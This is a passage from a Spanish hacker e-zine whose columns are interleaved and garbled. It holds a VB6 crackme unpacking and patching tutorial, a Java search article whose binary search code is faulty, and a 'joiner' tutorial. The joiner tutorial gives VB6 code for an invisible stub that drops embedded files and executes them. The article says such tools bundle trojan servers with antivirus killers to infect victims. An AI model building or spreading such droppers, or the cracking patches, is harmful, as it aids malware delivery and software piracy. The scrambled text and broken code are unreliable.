basura, aunque ni tanto, veamos la última
Seleccionamos los 4 primeros bytes, que si nos
[UPX|Export|<MouduleEntryPoint>], parece que
fijamos bien, es lo que contiene EDI, invertido,
estamos frente a un empacado:
ponemos un bp (F2) en los bytes que
Crackeo básico de programas en VB6 CUH e-zine 4ª edición
seleccionamos y ponemos a correr (F9).
Así caemos en cuenta de que tienen una misma
estructura:

“PUSH XXXXXXXX
CALL XXXXXXXX
ADD BYTE PTR DS:[EAX],AL
ADD BYTE PTR DS:[EAX],AL
ADD BYTE PTR DS:[EAX],AL
XOR BYTE PTR DS:[EAX],AL
ADD BYTE PTR DS:[EAX],AL
Dumpeo: INC EAX “

Listo, ya tenemos OEP, ahora podemos pasar a


desempacar:
Stack: OEP=4011BC

--Dumpeando…:
Registros:
Yo usare Procdump (una maravilla), aunque claro,
hay muchos programas y plugins que permiten
hacer esto.

Ejecutamos en crackme empacado, abrimos


Procdump seleccionamos el crackme y lo
dumpeamos.

Al ejecutar caemos en un far jmp a 4011BC


(dentro de .code [RO:401000 RS:5000]), así que,
si mis cálculos son correctos caeremos en el OEP
… veamos:

Aquí caímos con el 1er BP:

Pasando el jmp (F7/F8) llegamos a 4011BC: Ahora abrimos el archivo dumpeado con la opción
PE Editor y cambiamos el EP del packer por el
OEP que encontramos.

También tenemos que quitar la protección anti-


desensamblado

Cargamos el desempacado en Ollly y WUALA!:

Nuestro OEP real… que porque lo digo? Fijémonos


en el área sombreada, esta información nos dice
2 cosas: que estamos en el OEP tan buscado y
que el programa esta escrito en VB, porque?
analicemos el OEP de otro programa en VB6:

No se sienten como en casa?


Crackeo básico de programas en VB6 CUH e-zine 4ª edición
Veamos que hace el programa cuando ponemos
Esta técnica podemos también usarla contra otros cualquier cosa:
packers distintos al upx.

Ahora veamos:

-La forma más difícil, lenta y con más


enriquecimiento para los vagos (o simple y
sencillamente la forma que utilizan los que ya han
practicado lo suficiente) de encontrar el OEP:

Cargamos el crackme con PeiD y usamos el plugin


llamado “Generic OEP Finder”, y WAO... El Como lo esperábamos, nos lleva a la zona del
numero tan buscado ..xD  ¬¬ chico malo.
Antes de destripar el crackme tengamos en la
cabeza 2 cosas: “usemos siempre que estemos
estudiando un programa el mismo nombre y
clave, así es mas fácil de recordar y la otra es el
cartelito del chico malo “Intenta otra cosa
amigo!”.

Ahora si, destripemos el crackme:

-Desempacando, forma #2:


Cargamos el crackme en la UPX GUI y
seleccionamos “Ejecutar!”, listo… Archivo
descomprimido, xD  ¬¬ Abrimos las strings references y nos topamos con
nuestro cartelito “Intenta otra cosa amigo!”

Ahora saltamos allá a ver algo de código. Ahora


fíjense en la instrucción que esta 3 instrucciones
antes de la string [JMP SHORT
dumped.004021CF], deduciendo, la siguiente
instrucción será una caída:
PUSH EAX
PUSH ECX
JMP SHORT dumped.004021CF
-CRACKEANDO LEA EDX,DWORD PTR SS:[EBP-80]
LEA ECX,DWORD PTR SS:[EBP-40]
--1ra forma (encontrado la clave para nuestro
nombre por estudio): Ahora vemos que referencias tiene en el código
(Ctrl+R) y efectivamente cayo desde un
Algo que tenemos que saber es que con estos condicional.
tipos de protecciones (nombre-clave)
seguramente el programa ara algo con nuestro
nombre para generar una clave específica para el
nombre así que estudiemos un poco el
funcionamiento del programa antes de empezar a
poner BPs por todos lados.
Crackeo básico de programas en VB6 CUH e-zine 4ª edición
Vallamos al salto a ver algo de código:

Bajando un poco, llegamos al cartel del chico


malo, y el programa no hizo ninguna otra
operación con cadenas. Ahora mantengamos en
mente la cadena resultante “soy shadow”:

Viendo el code nos damos cuenta que si el salto


no se da caemos en el área del chico bueno, así
deduciendo, mas arriba debe haber algún tipo de
comparación.

Viendo detenidamente vemos una concatenación,


esto puede ser importante así que subimos hasta
la instrucción después del JMP más cercano, ósea,
nos posicionamos en 401FDC, Ctrl+R y vemos de
donde cae, y ya me canse de vagar por el code, Probamos la cadena “soy shadow” y…:
ponemos un BP en 401FDC y ejecutamos.

Crackme resuelto…
CLAVE=”soy “ + nombre
Así listos con el BP, corremos el crackme (F9), 2da forma (encontrando la clave a punta de
ponemos los datos falsos: breakpoints)

Muchos recomiendan empezar con esta opción,


por lógica la recomiendo también, pero
personalmente me gusta primero estudiar el
programa y tener un BP con mas probabilidades
de ser el que busco que varios que tienen
probabilidades menores.

Destripamos el crackme, vemos las apis:

Pulsamos “COMPROBAR” y caemos en el BP:

Bajamos lentamente a ver algo que nos interese.


Fíjense en los registro, podemos ver el nombre
junto a la cadena “soy ”:
Crackeo básico de programas en VB6 CUH e-zine 4ª edición
Ponemos un breakpoint en cada llamada a
StrCmp: Ejecutamos (F9), ponemos los datos falsos,
probamos y caemos en:

Y en los registros:

Ponemos a correr (F9) probamos con el nombre y


clave falsos y caemos en:

Bajamos una instrucción (F7/F8) y la clave real:

Y en los registros hay:

Mas abajo en 40206B la clave falsa se va al stack:

Bajamos un poco a ver que pasa con el nombre y


vemos que si no se puso nada en el nombre va a
la zona mala sino es así salta a otro lado.
Stack:
F9 y no rompe en el otro StrCmp:

Seguimos bajando, se realizan algunas


operaciones con las cadenas y llegamos al salto
condicional:
Esto quiere decir que la comparación de la clave
falsa con la verdadera se hace sin StrCmp, así
que probamos poniendo BP’s en cada llamada
StrCat:

Así que probamos “soy shadow” y:

Y...:
Crackme solucionado.
Crackeo básico de programas en VB6 CUH e-zine 4ª edición
NOPs haciendo doble-click en el salto, tenemos
3ra forma (parchear): que seleccionar “Fill with NOP’s”:

Cuando me refiero a parchear hablo de


reemplazar una instrucción, serie de
instrucciones, un byte o un bit dependiendo lo
que se requiera (pe: un bit para habilitar un botón
deshabilitado, una instrucción para detener un
conteo, etc.). Esto quiere decir que como solución
no tendremos una formula, como en la 1ra forma Y nos queda así:
de crackear que vimos sino que tendremos un
programa sin protección. Cabe destacar que esta
debería ser nuestra ultima opción al crackear un
programa, esta puede se la forma mas sencilla de
crackear un programa pero a medida que pasa el
tiempo se van presentando problemas y vemos
Ahora probamos el crackme nopeado con el
que crackear no solo el parchar, parchar, parchar.
nombre y clave inventados (shadow | 363636)
Otra cosa que tenemos que tener en mente al
y…:
parchear es que esto no implica solo buscar el
salto al área del chico malo y reemplazarla por
instrucciones basura (INC-DEC, NOP, MOV-MOV,
etc) sino que también implica lo que conlleva ese
salto, pe. que pasaría si tienes que registrar un
programa, encuentras el cartel, parchas el salto al
cartel, creas el crack, “registras”, pero cuando
vuelves a abrir sale que aun no estas registrado?
Simple y sencillamente cambiaste el salto pero no Bueno… solo resta copiar los cambios al
la rutina que te registra, es decir, en realidad no ejecutable y ¡Listo! Crackme, crackeado:
te registras, así que literalmente lo único que
haces es “hacer que le programa te mienta”….
Esa no es la idea. Pero bueno… tenemos que
tener una última opción.

Para parchear necesitamos primero que todo una


instrucción objetivo la cual cambiaremos. Nuestra
protección es del tipo comparación-salto
El crack lo pudimos haber hecho de muchas
condicional, esto quiere decir que precisamente
formas, yo elegí (según mi forma de ver) buscar
eso es lo que vamos a buscar una comparación
la estructura:
seguida de un salto condicional. En el estudio que
hicimos para encontrar la clave del crackme, nos
Código
dimos cuenta que en 4020DA hay un salto al área
CMP XXXXXXXX
del chico malo y que si ese salto no se da,
J(condicional) área(buena/mala)
entramos al área del chico bueno:
Código
Código
Código

Y nopear o saltar directo según el caso.

Así que tomando en cuenta esa información También pudimos haber puesto un salto directo
podemos deducir que si nopeamos la instrucción en 40218E (bad guy zone ini) a 4020E0 (nice guy
(reemplazarla por un NOP [mas bien serian 6 zone ini) y teníamos el mismo resultado.
NOPs ya que cada NOP es un byte (90) y la
instrucción contiene 6 bytes (0F84AE000000)]) se
omitirá el salto condicional y siempre presentara
el cartel del chico bueno. Así que rellenamos con
Crackeo básico de programas en VB6 CUH e-zine 4ª edición
Como ya lo dije, tenemos varias opciones al
parchear (dependiendo del tipo de protección y
esto no es siempre)

-Parcheando la memoria:

Ahora os enseñare como parchear un programa Probamos el crackme desempacado sin crackear
sin el Ollly, usaremos el PUPE (maravilla de (ósea, aparte de desempacar, no hemos hecho
programa) ninguna modificación) y milagrosamente vemos:

Al abrir el PUPE que el programa nos muestra los


procesos cargados en la memoria:

Finalmente veamos algunos breakpoints que nos


pueden servir para crackear un programa hecho
en VB:
Comparación de cadenas:
__vbaStrCmp
Seleccionamos el proceso que vamos a parchear __vbaStrComp
(dumped.exe), click derecho, patch: Comparación de variables:
__vbavartsteq
Concatenation:
__vbaStrCat
Estructuras FOR:
__vbavarfornext
Cajas de mensajes:
Nos sale una ventanita seleccionamos en # de __rtcMsgBox
bytes a parchar (recordemos que el salto contenía
6 bytes), ponemos la dirección del salto a parchar Bueno, hasta aquí llegamos, espero que les sea
(4020DA), clickamos “Search” y vemos el código de ayuda. Saludos!
del salto (0F84AE000000), en el cuadro de texto
de “To change by:” pondremos las instrucciones The Shadow|Shadow shadow@el-hacker.org
que reemplazaran el salto (90 [NOP]). Algo que
tenemos que recordar es que la cantidad de bytes
a cambiar debe ser la misma de la instrucción
(obviamente).

Pulsamos “Patching” y memoria parchada:


Busqueda Secuencial CUH e-zine 4ª edición

,
"Abril"};

System.out.print("Digite el nombre que desea


buscar: ");
String nombre = entrada.readLine();
// entrada de dato a buscar
A continuación les voy a hablar de los diferentes tipos
de búsquedas que existen les voy a dejar explicado un for (int i=0; i<VectorNombres.length;i++){
poco el concepto de cada una y el código en Java de las
mismas. if(nombre.equalsIgnoreCase(VectorNombres[i]))
Que un tipo de búsqueda sea superior a otra ya eso {
queda a criterio de lo que se quiera hacer, lo que si es
cierto es que la búsqueda de tipo binaria es mas rápida JOptionPane.showMessageDialog(null,"Elemento
porque hace menos comparaciones y por ende es mas encontrado "+VectorNombres[i],"Encontrado",
rápida. JOptionPane.INFORMATION_MESSAGE);
encontrados++;
Ahora les voy a dejar la explicación: continue;
}
Busqueda Secuencial

En este ocasión voy a explicar los algoritmos de }


búsquedas secuenciales, este tipo de algoritmos nos
facilita la forma de hacer consultas ya sea en una tabla if(encontrados == 1 ){
de una base de datos como en un vector o matriz de System.out.println("Fin de busqueda, encontrado
datos (que al final viene siendo lo mismo que en una "+encontrados+" elemento igual");
base de datos; xD ). }else{
System.out.println("Fin de busqueda,
Este tipo de búsqueda tiene mas puntos en contra que encontrados "+encontrados+" elementos
a favor porque en un vector de N posiciones este iguales");
algoritmo va a buscar posición a posición hasta dar con }
el dato solicitado y en el caso de que no exista pues
también va a recorrer todo el arreglo.
}
Lo bueno de este tipo de búsqueda es que es muy
sencillo de implementar y no se tiene que ordenar el }
vector si tomamos el ejemplo anterior todavía como
valido. Con este código ya están listos para usar las búsquedas
secuenciales y utilizarlas para casos mas complejos.
Bueno mucha explicación vamos a la practica...

Si tenemos un vector ya definido con los siguientes


Busqueda binaria o búsqueda dicotómica
datos:

["aarona","aashta","abelarda","abelia","abigail","abril"] Es un algoritmo de búsqueda que para realizarla, es


, todos de tipo String y queremos saber si ya existe el necesario contar con un arreglo o vector ordenado.
nombre : "Abigail" en nuestro vector entonces tenemos Luego tomamos un elemento central, normalmente el
que hacer lo siguiente: elemento que se encuentra a la mitad del arreglo, y lo
comparamos con el elemento buscado. Si el elemento
public class BSecuencial { buscado es menor, tomamos el intervalo que va desde
el elemento central al principio, en caso contrario,
public static void main(String[] args)throws tomamos el intervalo que va desde el elemento central
IOException { hasta el final del intervalo.
Procedemos de esta manera con intervalos cada vez
BufferedReader entrada = new BufferedReader
menores hasta que lleguemos a un intervalo indivisible,
(new InputStreamReader(System.in));
en cuyo caso el elemento no está en el vector, o el
int encontrados=0;
elemento central sea nuestro elemento.
String [] VectorNombres =
{"Aarona","Aashta","Abelarda","Abelia","Abigail"
Busqueda Secuencial CUH e-zine 4ª edición

Yo esta búsqueda la voy a hacer de manera iterativa


pero se puede utilizar recursion también:

public static void Buscar(int [] vect,int valor){

int pivote = vect.length/2;


for (int i=0; i < vect.length;i++){
System.out.println(vect[i]);
}

if (valor < pivote){

for (int x=0;x < pivote;++x){

if (valor == pivote){
System.out.println("Encontrado posicion
"+pivote);
break;
}else if (valor == vect[x]){
System.out.println("Encontrado posicion "+x);
break;
}

}
}else if(valor < pivote){

for (int x=pivote;x < vect.length;++x){


if (valor == pivote){
System.out.println("Encontrado posicion
"+pivote);
break;
}else if (valor == vect[x]){
System.out.println("Encontrado posicion "+x);
break;
}

}else{
System.out.println("Elemento no encontrado
>:(");
}
}
Saludos...........8) [p3ll3]
Creando un joiner CUH e-zine 4ª edición

El Stub tendrá la orden de separarse, es decir en


dividirse en tantas partes como ficheros halla, en este
caso serian en 4 partes, donde a la primera no se le da
importancia. Las otras tres serán los ficheros. Entonces
una vez que se halla dividido el fichero, se copiara el
contenido de las partes (menos la primera) en ficheros
Comenzare explicando que es lo que haremos, una
individuales (que los creara el stub) y serán
explicación teórica como para que vayan entendiendo
ejecutados….
de lo que hablo, y luego pasaremos a lo practico.
Se que no quedo bien explicado pero luego lo irán
Les daré mi definición de Joiner, aunque no creo que
entendiendo mejor.
haya alguna contradicción ya que la misma palabra lo
Bueno, dividiremos el articulo en dos partes, la primera
dice todo. Joiner, traducido al español significa
será la programación del Stub y la segunda la
“Juntador” que vendría de la palabra Join que traducido
programación del Joiner… Veamos:
es “Juntar”. La función básica de un joiner es juntar
ficheros, y dejarlos en un solo fichero final (por lo
Programando el Stub:
general ejecutable). Es como una especie de
Para esto vamos a necesitar poder ejecutar cualquier
compresor, como lo es WinRAR, pero con la diferencia
tipo de fichero, para ello podríamos usar la sentencia
que el joiner esta compuesto por un Stub (Ya veremos
“Shell”, pero con esto no podremos ejecutar ficheros
lo que es) que hará que todos los ficheros unidos se
txt, claro que podemos armar toda una historia,
ejecuten (en algunos casos el programador le da la
leyendo el registro, obteniendo su programa por
posibilidad al usuario de ejecutar algunos ficheros y
defecto y ejecutarlo con el, pero seria mas sencillo
otros no). Bueno, resumamos esto en: Un joiner es un
utilizar la API ShellExecute ;)
programa encargado de juntar 2 o más ficheros de
Así que ya sabemos como ejecutar los ficheros que
cualquier tipo, dejando un solo fichero final.
serán generados, es solo declarar la API y pasarle como
Este tipo de aplicaciones se utilizan mucho (en el
parámetro el fichero. Pero ¿Qué ficheros ejecutara? Pos
mundo del underground informático) para juntar (por
los que creara el stub cuando se ejecute… ¿Y como los
ejemplo) el servidor de un troyano y un KillAV (Matador
creara? Es muy facil, pero ya lo veremos mas adelante.
de antivirus), haciendo que al ejecutar el fichero que
Para la creación de ficheros debemos conocer las
los contiene se ejecuten los dos, matando el antivirus
formas de crear, abrir para escribir/leer/escribir y leer
de la victima y permitiendo la absoluta ejecución del
un fichero de forma común y binaria. Ahora solo
servidor.
utilizaremos la forma de apertura de lectura y lectura-
Pacemos a lo “interesante” del articulo, veremos como
escritura en modo binario. Si no sabes como hacer
trabaja un joiner, o mejor dicho, como trabajara
esto, pégale un vistazo a esto, ya que no lo explicare:
nuestro joiner. Debo aclarar que la interfaz grafica pasa
http://support.microsoft.com/kb/151335/es
por cuenta del programador, como así también las
funciones y las opciones que puede presentar el
Bueno, supondré que de ahora en mas ya saben
programa.
manejar los archivos de modo binario, así que
Lo que conforma el Joiner en si, se podría decir que son
sigamos…
dos aplicaciones. Una será la principal, lo que el usuario
Como dije antes, debemos dividir el fichero en tantas
ve y con lo que interactúa. La otra será el Stub, pero…
partes como ficheros halla (mas el stub).
¿Qué es esto? El Stub será la “cabecera” (por así
Para hacer esto, debemos saber que cuando se genero
decirlo) del ejecutable que se generara, luego irán los
el fichero se marco el final de cada fichero con una
otros ficheros. Entonces la ejecución del fichero
marca especial, supongamos que dicha marca fue
generado seria algo así:
“|MARCA|”. Entonces el fichero en modo de cadena se
vería así:
Stub|MARCA|Fciehro1|MARCA|Fichero2|MARCA|F
STUB
ichero3
|
Así que, sabemos que debemos dividir el fichero donde
FICHERO1
dice “|MARCA|”. Para esto Tenemos la función “Split”
|
de VB que nos permite separar una cadena indicándole
FICHERO2
una cadena en donde debe separar. Split nos devolverá
|
un array con un índice menor (0) y un índice mayor
FICHERO3
(igual a la cantidad de divisiones que se hizo); en
nuestro caso tendríamos un array que iría de 0 a 3,
donde lo único que nos interesa son 1,2,3 ya que 0
será el Stub.
Así que tendremos el contenido de lo ficheros dentro de
un array, ahora debemos ubicar estos datos dentro de
sus respectivos ficheros. Esta es una parte media
Creando un joiner CUH e-zine 4ª edición
engorrosa y que se puede hacer de distintos métodos, 5. DE CADA ARCHIVO OBTENIDO, SEPARAR SUS
pero la más fácil es la que explicare: DATOS
Para saber que tipo de fichero crear, cual será su 6. REHACER EL FICHERO DE ACUERDO A LOS
nombre, etc. debemos incluir estos datos en el stub, así DATOS OBTENIDOS.
que debemos hacer dos tipo de divisiones. Una será 7. EJECUTAR LOS FICHEROS CREADOS.
para separar los ficheros y otra para separar los datos
de cada fichero. Les daré un ejemplo para que lo En fin, comencemos, abrimos el VB, en mi caos será la
entiendan mejor: versión 6.0, creamos un nuevo proyecto y acomodamos
Tenemos 2 ficheros: el formulario. Esta claro que no se debe visualizar la
ventana del Stub, es decir que va a ser invisible. Así
FICHERO 1: que acomodemos su propiedad “Visible” y la ponemos
NOMBRE: “Mi imagen.jpg” en “False”. Con eso ya tenemos un cambio, le damos a
CONTENIDO: “ÿØÿà JFIF ` ` ÿÛ” guardar para salvar le proyecto y seguimos.
Ahora vamos a declarar la API ShellExecute, no es
FICHERO 2: necesario crear un modulo, aunque si quieres tener las
NOMBRE: “Lecturas.txt” funciones bien ordenaditas, te vendría bien. Pero yo
CONTENIDO: “E QE V~¶ &‹tˆ¥™“ ” trabajare todo sobre le form, ya que no necesitamos
compartir información con otra parte del proyecto. Así
Como pueden ver estamos hablando de su contenido que vamos a la parte de código de nuestro proyecto, y
como bits y no como su contenido dentro del fichero, es nos situamos en la parte superior de él. Allí declaramos
decir, que no vamos a tomar lo que dice dentro el la API de la siguiente manera:
fichero txt sino que vamos a tomar sus bits (en el caso
de un fichero de texto). A lo que voy, es que Private Declare Function ShellExecute Lib "shell32.dll"
trabajaremos a todos los ficheros de forma binaria. Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal
Estos ficheros los debemos separar por una marca, lpOperation As String, ByVal lpFile As String, ByVal
pero a su vez también debemos separar por otra marca lpParameters As String, ByVal lpDirectory As String,
sus datos. Primero vamos a hacer lo último, ByVal nShowCmd As Long) As Long
separaremos el contenido de cada archivo, para ello
podría ser algo así: Como verán, la declaración es privada, eso es porque la
eh introducido en el formulario y no deseo compartirla
FICHERO 1: “Mi imagen.jpg|M1| ÿØÿà JFIF ` con otras partes del proyecto.
` ÿÛ” Asta aquí todo bien, ya tenemos como ejecutar los
FICHERO 2: “Lecturas.txt|M1| QE ficheros. Ahora sigamos…
V~¶ &‹tˆ¥™“ ” Como mencione antes debemos leer el fichero
ejecutado, es decir, debemos leernos a nosotros
Así tenemos separado los datos de los archivos por una mismos, pero para esto primero debemos copiarnos en
marca, que en nuestro ejemplo es “|M1|”. Ahora algún lado ya que sino Windows no nos dejara. El lugar
juntaremos a FICHERO 1 y a FICHERO 2 en uno solo, mas elegido (y mas acorde) para copiarnos seria el
separándolos por otra marca, que será “|M2|”: directorio Temp (Temporal). Pero para esto antes
debemos obtenerlo usando (como método más sencillo)
FICHERO FINAL: “Stub|M2|Mi imagen.jpg|M1| ÿØÿà el objeto FileSystemObject. Y sinceramente les digo
JFIF ` ` ÿÛ|M2| Lecturas.txt|M1| QE que no tengo ganas de alargar mas el articulo con esto
V~¶ &‹tˆ¥™“ ” ya que presumo que ya saben como hacerlo, así que
esto correrá por cuenta suya, yo lo copiare
Así nos quedaría al final, con el Stub primero, luego el directamente en el mismo directorio donde se esta
FICHERO 1 con sus datos separados por la marca |M1| ejecutando pero con la abreviatura “Tmp” antes y con
y luego el fichero 2 cuyos datos están divididos de la extensión “.dat”.
misma forma… Les recuerdo que todo esto se hace en el momento en
Espero que hallan entendido mas o menos como viene que se ejecuta el fichero, así que debemos trabajar
la mano, pero seguro que cuando empecemos a sobre el evento “Form_Load”. Pero para que no nos
programar se darán cuenta y tendrán una idea mas quede desordenado, solo añadiremos una llamada a
lucida de todo esto. Así que vamos a programar!!! una función que hará la tarea, y así también haremos
con las otras funciones, por esto no se preocupen, ya lo
El orden para programar el Stub será este: entenderán cuando vayamos alargando el code…
Para copiarnos no haré una función aparte, ya que seria
1. INTRODUCIR LA API ShellExecute medio inútil poner solo la función de copiar dentro de
2. COPIAR EL FICHERO PARA PODER ABRIRLO Y una función, seria lo mismo ponerlo directamente, pero
LEERLO cada cual lo hace como quiera yo lo pondré en el
3. LEER EL FICHERO Y OBTENER TODO SU Form_Load:
CONTENIDO
4. SEPARAR EL CONTENIDO DEL FICHERO A Private Sub Form_Load()
TRAVEZ DE LA MARCA QUE DIVIDE A CADA FileCopy App.Path & "\" & App.EXEName & ".exe",
ARCHIVO JUNTADO. App.Path & "\tmp" & App.EXEName & ".dat"
End Sub
Creando un joiner CUH e-zine 4ª edición
Private Sub ObtenerArchivos(CadenaADividir As String)
No veo la necesidad de explicar el código, ya lo Dim Archivo() As String
deberían entender… Archivo = Split(CadenaADividir, "|M1|")
Bueno, cada vez nos adentramos más a lo “difícil”, End Sub
ahora abriremos de forma binaria la copia y
obtendremos su contenido, el cual almacenaremos en Es importante tener en cuenta que la marca que se va
una variable, veamos código, y luego explicación: a utilizar debe ser la misma que se pondrá en el joiner
Agregaremos una llamada a la función en el evento cuando se junten los archivos. En mi caso use la marca
Load del Formulario (lo programado anteriormente, es “|M1|”.
decir debajo de la función “FileCopy”, y nos quedaría Como ven en el código, declare la variable “Archivo”
así: como un array, con los paréntesis, pero no le di ningún
valor. Esto es porque no sabemos cuantos ficheros
Private Sub Form_Load() pueden ir juntados y Split se encargara de darle un
FileCopy App.Path & "\" & App.EXEName & ".exe", valor máximo, aunque si ustedes le quieren poner un
App.Path & "\tmp" & App.EXEName & ".dat" máximo de ficheros a juntar lo pueden hacer…
Call LeerFichero Luego la utilización de Split, simplemente igualamos la
End Sub variable ”Archivo” a la sintaxis de Split que es:
“Split(CADENA, MARCA)”.
Luego la funcion: Ya tenemos los archivos, ahora debemos obtener su
contenido. Para hacer esto debemos volver a utilizar la
Private Sub LeerFichero() funcion Split, y lo que haremos sera facil.
Dim TodoElContenido As String Pero antes de hacerlo les explicare sobre “LBound” y
Open App.Path & "\tmp" & App.EXEName & ".dat" For “UBound”, estas dos nos sirven para obtener el valor
Binary Access Read As #1 mínimo y máximo, respectivamente, de un array. Es
Get #1, , TodoElContenido decir que con LBound podemos obtener el índice menor
Close #1 del array y con UBound el máximo. Estas dos las
End Sub utilizaremos para recorrer el array y poder “listar” uno
por uno los Archivos obtenidos. Si no entendieron ya se
Explicare la función para que entiendan bien: darán cuenta (siempre digo lo mismo, espero que lo
Primero declaramos la variable “TodoElContenido” hagan). Usaremos un bucle para recorrer el array, y
como cadena, donde se almacenara luego el contenido obtener en la variable del bucle, es decir en “i” para
del fichero. nuestro caso el índice actual del array (ya lo verán).
Después abrimos de forma binaria para leer la copia Así que vamos a hacer otra declaración, de otro array
hecha anteriormente. que será llamada “Datos” y será de tipo cadena:
Luego de esto, utilizamos “Get” para obtener el
contenido del fichero y almacenarlo en la variable. En la Dim Datos() As String
cuarta linea esta “Close” que cierra el fichero abierto y
listo. Esto lo ponemos debajo de la declaración de la variable
“Archivo”.
Ahora tenemos todo en la variable “TodoElContenido”,
así que podemos proceder a separar esto y obtener Private Sub ObtenerArchivos(CadenaADividir As String)
cada fichero, para esto ya dije que usaríamos Split, lo Dim Archivo() As String
que haremos será llamar desde la función “LeerFichero” Dim Datos() As String
a otra función, la llamaremos “ObtenerArchivos” y en Archivo = Split(CadenaADividir, "|M1|")
esta ultima función nos dedicaremos a obtener cada
unos de los archivos incluidos en el fichero “.dat” (la For i = LBound(Archivo) To UBound(Archivo)
copia nuestra). Pero a la función, más bien al Sub que Datos = Split(Archivo(i), "|M2|")
crearemos debemos pasarle como parámetro la cadena Next i
que tiene que separar, es decir el contenido de la End Sub
variable “TodoElContenido”.
Veamos, agregamos la llamada en la función y nos Es sencillo, hacemos un bucle desde el índice menor del
queda así: array hasta el mayor. En “i” vamos a tener el índice
actual, así que luego usamos Split para separar los
Private Sub LeerFichero() datos de la variable “Archivo(i)” es decir la variable
Dim TodoElContenido As String Archivo con índice igual a i, lo que seria, para el primer
Open App.Path & "\tmp" & App.EXEName & ".dat" For incide seria “Archivo(0)”, para el segundo “Archivo(1)”
Binary Access Read As #1 y todo así…
Get #1, , TodoElContenido Los datos los separaremos por la marca “|M2|”. Aquí
Close #1 deben acordarse que dato pusieron primero, si el
Call ObtenerArchivos(TodoElContenido) nombre o el contenido del archivo, ya que vamos a
End Sub tener en la variable datos 2 índices para un índice de la
variable Archivo.
Procedemos a crear el sub: Es decir, que el contenido de “Datos(0)” y “Datos(1)”
corresponden a “Archivo(0)”.
Creando un joiner CUH e-zine 4ª edición
Quizás esto nos complique un poco, pero ya veremos
una forma de que no… Veamos, hasta ahora hemos Ahora vamos a hacer el Sub “ArmarArchivo”, lo que
obtenido cada archivo que se había juntado con nuestro haremos será abrir de forma binaria (en realidad crear)
joiner (recuerda que empezamos de lo ultimo, ya que un archivo cuyo nombre será el que se paso por los
estamos hablando como si los archivos estén ya parámetros y la ubicación será el directorio actual de
juntados) ahora los debemos armar, para saber que trabajo (esto, como dije antes, lo deben arreglar
extensión lleva y que nombre ponerle debemos obtener ustedes a su manera). Miren:
el contenido de la variable “Datos” correspondiente. Por
ejemplo, para el primer archivo, el nombre se ubica en Private Sub ArmarArchivo(Nombre As String, Contenido
“Datos(0)”… As String)
Así que creamos una función que arme los archivos Open App.Path & "\" & Nombre For Binary Access Write
según sus datos, ¿Cómo hacemos esto? Veraz, si te As #1
pones a pensar un poco, si, es medio difícil eso de dos Put #1, , Contenido
valores de “Datos” para uno de “Archivo” (Datos y Close #1
Archivo son las variables, recuerda)… End Sub
Pero hay una formulita que nos permitirá saber que
índices de la variable datos le corresponde al índice Así de simple es, con eso ya estaríamos, ahora solo nos
actual de la variable “Archivo”, esta formulita se podría falta ejecutar los archivos, es simple, le vamos a
representar así: “Nombre = N + N” y “Contenido = N + agregar al sub “ArmarArchivo” una llamada a la API
N + 1”. Pasemos a lo que es código, vamos a agregar ShellExecute que se encargara de ejecutar el fichero
otro bucle al Sub “ObtenerArchivos” similar al que con su programa correspondiente:
hicimos anteriormente pero para la variable “Archivo”. El código les debe quedar así:
Vamos a crear otro Sub que va a ser el que armara los
archivos, a esta rutina vamos a pasarle como Private Sub ArmarArchivo(Nombre As String, Contenido
parámetros el nombre del archivo que se quiere crear y As String)
su contenido, seria algo así: Open App.Path & "\" & Nombre For Binary Access Write
As #1
Private Sub ArmarArchivo(Nombre As String, Contenido Put #1, , Contenido
As String) Close #1
Call ShellExecute(Me.hwnd, "Open", App.Path & "\" &
End Sub Nombre, "", "", 1)
End Sub
Luego vamos a agregar un bucle que ira desde el índice
menor del array “Archivo” hasta su índice mayor. Al Y listo! Hemos terminado de programar el Stub, ahora
igual que como lo hicimos antes, ahora en la variable debemos proceder con el joiner…
del bucle (en mi ejemplo será “j”) tendremos el índice
actual de la variable “Archivo” y con las formulas
anteriores obtendremos sus datos correspondientes
sobre la variable “Datos”. Es medio confuso, pero Programando el Joiner:
seguro que si lo ven… bue, ya saben ^^ Bueno, aquí no voy a poner el código armado, sino que
voy a explicar las funciones y voy a enseñar como
hacer las cosas, pero no voy a decir que controles usar,
For j = LBound(Archivo) To UBound(Archivo) todo esto correrá por cuenta suya…
Call ArmarArchivo(Datos(j + j), Datos(j + j + 1)) La primera función que crearemos será la que nos
Next j permitirá leer los archivos y obtener su contenido.

Así como vez, llamamos al Sub “ArmarArchivo” y Empecemos:


usamos las formulas para obtener el índice
correspondiente del array “Datos”, los cuales son Private Sub LeerArchivo(File As String)
pasados como parámetros. Así que nos quedaría así: Dim Contenido As String
Dim Todo As String
Private Sub ObtenerArchivos(CadenaADividir As String) Dim Datos As String
Dim Archivo() As String For i = 0 To List1.ListCount
Dim Datos() As String Open List1.List(i) For Binary Access Read As #1
Archivo = Split(CadenaADividir, "|M1|") Get #1, , Contenido
Close #1
For i = LBound(Archivo) To UBound(Archivo) Datos = Contenido & "|M1|" & Right(List1.List(i),
Datos = Split(Archivo(i), "|M2|") InStrRev(List1.List(i), "\"))
Next i Todo = Todo & "|M2|" & Datos
Next
For j = LBound(Archivo) To UBound(Archivo) End Sub
Call ArmarArchivo(Datos(j + j), Datos(j + j + 1))
Next j Bueno, lo que hacemos aquí es hacer un bucle por cada
End Sub elemento de la lista (cada elemento es un archivo). En
Creando un joiner CUH e-zine 4ª edición
este caso es porque yo eh elegido almacenar los
archivos que escogió el usuario en una lista, me resulto NOMBRE-->FICHERO 1
mas fácil que nada. |M1|
Así que vamos de uno en uno por lo archivos, y los CONTENIDO-->FICHERO 1
abrimos de forma binaria, los leemos y almacenamos
su contenido en la variable “Contenido”. Luego la NOMBRE -->FICHERO 2
variable “Datos” va a tener el contenido del archivo y el |M1|
nombre del archivo (el cual obtenemos manejando la CONTENIDO--->FICHERO 2
cadena que contiene la ruta completa del fichero)
separados por la marca “|M1|”. Luego agregamos a la Después se procede a crear un archivo que
variable “Todo” la variable “Datos” separando lo que corresponderá a los datos obtenidos luego de separar
había antes y lo que agregamos nuevo por una marca: por la marca “|M1|” y se ejecutaran dichos archivos…
“|M2|”. Les diré algunas cosas que pueden agregarle, primero
Así que cuando ya se hallan terminado los archivo, nos un lugar donde copiar los archivos, esto suele ponerse
quedara todo en la variable “Todo”, y solo nos resta SIEMPRE. Le da la posibilidad al usuario de poder
agregárselo al Stub. copiar los archivos en el directorio que el quiera.
Ahora debemos ubicar el Stub, por lo general se También el poder ejecutar, pero no copiar los archivos.
